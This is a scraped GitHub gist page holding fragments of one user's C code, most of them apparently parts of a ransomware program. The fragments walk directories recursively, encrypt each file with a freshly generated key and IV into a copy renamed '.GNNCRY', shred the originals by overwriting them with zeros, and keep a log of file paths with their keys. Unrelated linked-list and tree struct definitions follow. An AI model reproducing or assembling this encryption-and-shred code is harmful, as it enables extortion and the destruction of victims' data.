Skip to content

Instantly share code, notes, and snippets.

View tarcisio-marinho's full-sized avatar
:octocat:
Working

Tarcísio tarcisio-marinho

:octocat:
Working
View GitHub Profile
else if(ent->d_type == 4){ // it's a directory
if(!(strcmp(ent->d_name, "..") == 0 || strcmp(ent->d_name, ".") == 0)){
find_files(files, new_directory); // recursive call
}
}
old = fopen(files->info[2], "rb");
if(old != NULL){
new_name = (char*) malloc(sizeof(char) * (strlen(files->info[2]) + 11));
strcpy(new_name, files->info[2]);
strcat(new_name, ".GNNCRY");
new = fopen(new_name, "wb");
@tarcisio-marinho
tarcisio-marinho / encrypt.c
Created December 13, 2017 17:45
magic happens
iv = generate_key(16);
key = generate_key(32);
/* Where encryption really happens*/
encrypt(old, new, key, iv);
@tarcisio-marinho
tarcisio-marinho / shred.c
Created December 13, 2017 17:45
get rid of a file
void *buf = malloc(BUF_SIZE); // allocate memory
memset(buf, 0, BUF_SIZE); // zero the memory
ssize_t ret = 0;
off_t shift = 0;
while((ret = write(fd, buf,
((fsize - shift >BUF_SIZE)?
BUF_SIZE:(fsize - shift)))) > 0)
shift += ret;
@tarcisio-marinho
tarcisio-marinho / enc_files.txt
Created December 13, 2017 17:47
encrypted files path key and iv
6.V5Aw?d'b}{v$@AO(xr'?!ptWW-qADy:3Zd;B3zGrvufrUCQ:/home/tarcisio/Desktop/15109580_1182532868480776_7528793872271394864_n.jpg.water
uI5Lt2yC3OU@L}'x'mh3?m0&B10(;(SS:J0#,5K3V)ob9p)%Z:/home/tarcisio/Desktop/allegro/projeto-allegro.odt.water
'k14!3X(OhjFOb(hiBSf$JV#jb@s9'!j:Thhj'O%nWyebj8j7:/home/tarcisio/Desktop/allegro/main.c.water
VOpUQOfFqiHOdJCiw#aSE$c)R,K$PfPM:3Li(wp@im2Gpx5Vy:/home/tarcisio/Desktop/estruturas/RB/redblack.c.water
PkJu-JhU-V@}cVzebO)&!0'i@11c;Tb@:bGpNOj7gj-CS-vQX:/home/tarcisio/Desktop/estruturas/avl/avl.c.water
QUZnLi{uqX2whaQ'.usK52!K8bO&jf7b:%JC)Zihn5g0d7hpN:/home/tarcisio/Desktop/estruturas/B/B.c.water
@tarcisio-marinho
tarcisio-marinho / free.c
Created December 13, 2017 17:48
deallocate memory
/* Free the linked lists*/
destroy(&files);
destroy(&encrypted);
destroy(&not_encrypted);
/* Free the path variables */
free(home);
free(desktop);
free(username);
free(trash);
typedef struct node{
int data;
struct node * next;
}Node;
int array[10];
// limited size -> 10
// only one data type
typedef struct node{
int color;
struct node *left, *right;
}Node;
typedef struct node {
int n; //how many keys on the node
int chaves[4]; //keys
struct node *sibilims[5]; //pointer to sibilims
} Node;